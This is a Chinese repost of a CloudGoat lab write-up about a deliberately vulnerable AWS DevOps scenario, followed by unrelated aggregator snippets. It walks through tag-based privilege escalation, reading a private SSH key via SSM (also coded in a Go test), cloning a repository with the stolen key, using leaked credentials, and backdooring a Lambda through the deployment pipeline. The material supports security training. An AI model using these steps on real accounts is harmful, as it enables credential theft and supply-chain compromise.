构建易受攻击的AWS DevOps环境:CloudGoat场景实践

news/2025/9/29 8:06:43/文章来源:https://www.cnblogs.com/qife122/p/19118011

构建易受攻击的AWS DevOps环境作为CloudGoat场景

CloudGoat:易受攻击的AWS环境

CloudGoat是一个开源项目,包含一系列易受攻击的AWS环境库,可以使用Python封装的Terraform在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。

示例CloudGoat场景

例如,您可以使用以下命令在AWS账户中启动cicd场景:

python cloudgoat.py create cicd

此命令将运行Terraform来启动基础设施,并显示开始使用的说明。通常,它会输出一组AWS凭据作为起点。

贡献新的CloudGoat场景

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp是一家暴露公共API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据:

POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/htmlsuperSecretData=...

该API通过API Gateway暴露,实现为Lambda函数。由于FooCorp实施DevOps,它有一个持续部署管道,可在几分钟内将Lambda函数的新版本从源代码自动部署到生产环境。

FooCorp的持续部署管道。

您的任务(如果您选择接受):您将获得一个权限不足的IAM用户的初始AWS凭据集。您的目标是窃取提交到FooCorp API的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。

该场景包含:

  • 3个IAM用户
  • 1个VPC,其中包含私有子网中的EC2实例
  • 用于实现API的组件:
    • 1个API Gateway
    • 1个Lambda函数
    • 1个ECR存储库
  • 用于实现持续部署管道的组件:
    • 1个CodePipeline管道
    • 2个CodeBuild项目
    • 1个CodeCommit存储库

利用演练

当我们通过python3 cloudgoat.py create cicd实例化场景时,我们会获得一个初始的AWS IAM访问密钥:

[cloudgoat] terraform apply completed with no error code.[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....

我们可以在环境中设置AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY,或使用aws-vault。我更喜欢后者,因为它可以方便地同时使用CLI和AWS控制台。

$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session

我们以名为ec2-sandbox-manager的用户身份进行身份验证,该用户具有IAM策略,允许我们管理标记为Environment=dev的EC2实例的标签,并对具有Environment=sandbox的实例执行任何SSM操作。

{"Effect": "Allow","Resource": "*","Action": ["ec2:CreateTags","ec2:DeleteTags"],"Condition": {"StringLike": {"ec2:ResourceTag/Environment": ["dev"]}}
},
{"Effect": "Allow","Resource": "*","Action": ["ssm:*"],"Condition": {"StringLike": {"ssm:ResourceTag/Environment": ["sandbox"]}}
}

一个EC2实例正在运行,标记为Environment=dev

我们的IAM策略不允许我们通过AWS SSM Session Manager访问实例。但是,我们确实有权覆盖用于访问控制的Environment标签:

然后我们可以访问EC2实例:

$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)

在我们认证用户的主目录下,找到一个SSH私钥:

$ cd
$ cat .ssh/id_rsa
--
MIIEpAIBAAKCAQEApn/Tcy
...

通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较,我们注意到被盗的私钥属于名为cloner的IAM用户:

$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11$ aws iam list-ssh-public-keys --user-name cloner
{"SSHPublicKeys": [{"UserName": "cloner","SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ","Status": "Active","UploadDate": "2021-12-27T10:34:19+00:00"}]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' 
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66

该用户恰好对CodeCommit存储库具有codecommit:GitPull权限。使用CodeCommit文档,我们可以将存储库克隆到本地机器:

chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')cat >> .ssh/config <<EOF
Host *.amazonaws.comIdentityFile ~/.ssh/stolen_key
EOFgit clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api

现在我们有权访问应用程序的源代码!

源代码中没有什么有趣的内容。但是,如果我们查看Git提交历史,有一个提交引起了我们的注意:

39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml

分析此提交的差异(git show f1cb341)揭示了一些泄露的AWS凭据!

使用这些凭据向AWS进行身份验证,我们注意到我们刚刚泄露了IAM用户developer的凭据,该用户具有codecommit:GitPushcodecommit:PutFile权限。

我们现在可以使用CodeCommit UI后门应用程序,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将秘密数据记录到其日志(CloudWatch日志组/aws/lambda/backend-api)。我们也可以后门应用程序,使其在每个请求上将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码,而是后门Docker镜像本身。

一旦我们执行了恶意提交,CodePipeline管道就会获取我们的更改并开始将其推出到生产环境:

几分钟后,我们成功后门了应用程序并捕获了标志!

START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643

使用端到端测试进行持续测试

如前所述,此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码并非简单。我们如何高度自信地确认它持续按预期工作?请记住,在我们的上下文中,工作意味着处于可通过预期步骤利用的状态。

我们利用了Terratest,一个用于测试Terraform代码的Go库。更具体地说,我们编写了如下工作的Go测试:

  1. 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
  2. 从我们的Go测试中,向FooCorp API发送实际的HTTP请求,确保其已正确部署。
  3. 仍然从我们的Go测试中,以编程方式执行利用步骤,一步一步。
  4. 测试结束后,通过我们的Terraform代码销毁我们配置的基础设施。

然后我们可以使用go test运行测试,无论是手动还是自动在每个拉取请求上。以下是"代码形式的利用步骤"示例:

func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {// 在实例上执行SSM命令以窃取SSH私钥ssmClient := ssm.NewFromConfig(test.awsConfig)result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{DocumentName: aws.String("AWS-RunShellScript"),InstanceIds:  []string{instanceId},Parameters: map[string][]string{"commands": {"cat /home/ssm-user/.ssh/id_rsa"},},})test.assert.Nil(err, "Unable to send SSM command to instance")// 等待SSM命令的输出commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{CommandId:  result.Command.CommandId,InstanceId: &instanceId,}, 2*time.Minute)test.assert.Nil(err, "failed to retrieve SSM command output")// 我们成功窃取了SSH私钥return *commandOutput.StandardOutputContent
}
--- PASS: TestScenario (248.47s)
PASS
ok    github.com/cloudgoat/tests/supply-chain-security  249.070s

结论

我鼓励您尝试这个场景!更一般地说,CloudGoat有一组有价值的实验室,包含许多真实的AWS漏洞。

您对这个场景有什么看法?您如何测试您的安全实验室?您希望在CloudGoat中接下来看到什么?让我们在Twitter上继续讨论!

感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验!感谢您的阅读。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/921542.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

摩尔线程88天过会,过会当天提交注册:看懂这3个关键,才算懂国产GPU的“生存逻辑”

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 3546955410049087摩尔线程88天冲刺上市:看懂这3个关键,才算懂国产GPU的“生存逻辑…

2025最新四面刨厂家权威推荐排行榜:四面刨厂家实力品牌测评,含定制,高速,重型四面刨优选指南

四面刨作为竹木加工的核心设备,其精度与稳定性直接决定产品合格率与生产效率。当前市场中,既有深耕多年的老牌企业,也涌现出一批技术创新的新锐品牌,但同时存在设备精度参差、定制能力不足、售后响应滞后等问题 —…

Java之泛型使用教程

下面我将为你编写一个使用泛型类的示例代码,这个示例实现了一个通用的"配对"(Pair)类,可以存储两个相同或不同类型的值,并提供基本的操作方法。 这个示例展示了泛型类的几个重要特性:多类型参数:Pair…

单调栈优化DP [ROI 2018] Decryption

题意 要求把一个序列划分成很多段,要求对于每段,最大值是末项,最小值是首项。 求最小划分段数。 解法 我们贪心来思考,若我们要保证一直到 i 是合法的,左端点显然是越往左越好,但是在全局上是并没有这个性质的,…

上海住宅新规调整,背后的野心可大了

微信视频号:sph0RgSyDYV47z6快手号:4874645212抖音号:dy0so323fq2w小红书号:95619019828B站1:UID:3546863642871878B站2:UID: 3546955410049087各位,看到这份文本了吗 添加图片注释,不超过 140 字(可选)没看…

手工调整pip whl 文件内容

手工调整pip whl 文件内容属于一个比较常见的问题,比如我们希望自己修改一个whl 文件的内容,但是还是通过pip install 的模式,不希望通过pip 安装之后再手工进行文件替换,解决方法比较简单 有源码的 可以自己重新构…

魔兽争霸3冰封王座安装包下载

​在即时战略游戏的发展史上,有一款作品如同丰碑般屹立不倒,它就是2003年发布的《魔兽争霸3:冰封王座》。即便时光流转二十余载,这款游戏依旧凭借其深厚的玩法底蕴与强大的玩家粘性,活跃在游戏圈中,成为无数玩家…

重庆 机械有限公司 沙坪坝网站建设wordpress设置恢复

本文主要用于工作记录&#xff0c;在项目中遇到了就记录一下 在早期&#xff0c;原生的JDK8是不支持HTTP/2协议的&#xff0c;所以&#xff0c;要想使用这个特性&#xff0c;需要有web服务器和应用环境的支持&#xff0c; 例如&#xff1a;在VM中增加-Xbootclasspath/p:/Users…

广州网站设计总部自己做的网站给人攻击了怎么办

Eclipse 创建第一个 springboot 应用 1、前言 一直想把笔记整理出来&#xff0c;分享一下 springboot 的搭建&#xff1b; 因为私下 idea 用的比较多&#xff0c;使用比较方便&#xff0c;但恰逢小伙伴问起 eclipse 怎么搭建的问题&#xff0c; 顾整理以记之。 2、springboot …

vscode tunnel远程隧道访问 正确重启方法

因为有时候电脑休眠一下,远程隧道就挂了,重启vscode也没用,下面是摸索出来的方法: 在linux上:关闭vscode 结束后台code-tunnel进程 启动vscode 在远程资源管理器中,注销2个Tunnels 点击设置按钮旁边的账户,重启…

深圳住房和建设局网站网上预约网站图片上的分享怎么做的

博主简介&#xff1a;努力学习的22级计算机科学与技术本科生一枚&#x1f338;博主主页&#xff1a; 是瑶瑶子啦每日一言&#x1f33c;: 所谓自由&#xff0c;不是随心所欲&#xff0c;而是自我主宰。——康德 目录 一、二叉树刷题纲领二、刷题1、104. 二叉树的最大深度2、 二叉…

企业网站建设的成本背景素材

随着AI预训练大模型的价值不断显现&#xff0c;且模型规模愈发庞大。产学各界已经形成了这样一个共识&#xff1a;AI时代&#xff0c;算力就是生产力。 这一认知虽然正确&#xff0c;却并不全面。数字化系统有存、算、网三大支柱&#xff0c;AI技术也是如此。如果抛开存储和网络…

杭州百度推广网站建设北京网站建设好

一、软件设计发展过程二、什么是DDD&#xff1f;2.1 战略设计2.2 战术设计2.3 名词扫盲1. 领域和子域2. 核心域、通用域和支撑域3. 通用语言4. 限界上下文5. 实体和值对象6. 聚合和聚合根 2.4 事件风暴2.5 领域事件 三、DDD与微服务3.1 DDD与微服务的关系3.2 基于DDD进行微服务…

PS时文本框图层如何与图片图层水平中心对齐

背景: 工作遇到临时要处理一个图片1,需要在图片1中加一个文本,要求与图片的水平中心对齐。 工具:PS2021 ==================================================================== 1.打开图片1 2.点击文字工具添加水…

基于推荐算法的网站开发广东工程造价信息网

简介&#xff1a; 伴随着 5G、IoT 等技术的快速发展&#xff0c;边缘计算被越来越广泛地应用于电信、媒体、运输、物流、农业、零售等行业和场景中&#xff0c;成为解决这些领域数据传输效率的关键方式。与此同时&#xff0c;边缘计算形态、规模、复杂度的日益增长&#xff0c;…

做招聘网站怎么办营业执照学校网站建设工作总结

如今每一天都有不知其数的半导体芯片设计公司与设计验证工程师&#xff0c;在用着电路仿真软件SPICE。SPICE广泛应用在仿真模拟电路&#xff08;例如运放Op Amp&#xff0c;能隙基准稳压电源Bandgap Reference&#xff0c;数模/模数转换 AD/DA等&#xff09;&#xff0c;混合信…

所有搜索引擎蜘蛛不来网站了自己的做网站

有时候我们因为电脑问题会忘记保存就关闭wps导致数据丢失&#xff0c;不知道wps没保存关闭了怎么恢复数据&#xff0c;其实数据是无法恢复的。 wps没保存关闭了怎么恢复数据 1、wps没有数据恢复功能&#xff0c;不过可以开启自动备份。 2、我们可以先点击wps左上角的“文件”…

西安网站建设联系电话营销型网站建设推荐

资料格式 配置文件 com.itheima Java代码 Statement stat con.createStatement(); 示例 com.itheima 命令 mvn test - Maven简介 传统项目管理状态分析 Maven 是什么 Maven的本质是一个项目管理工具&#xff0c;将项目开发过程抽象成一个项目对象模型&#xff08;POM&…

山西住房和建设厅网站厦门网页建站申请比较好

目录 一、完善解散部门功能 二、spring 事务 &#xff08;1&#xff09;Transactional 事务管理 ① rollbackFor 控制异常类型 ② propagation 事务传播控制 1、定义解散部门操作日记 三、AOP基础 1、概述 2、快速入门 &#xff08;1&#xff09;案例&#xff1a;统…

AI两周手搓一个进度管理神器,快来安排你的国庆假期吧

国庆假期又要来了 ,你的休假计划还停留在"想想就激动"的阶段吗?作为一个有追求的码农 ,当然深知计划的重要性,赶快打开Excel 📊,准备制定一份详细的假期进度安排。但,总觉得太low。默默地打开Projec…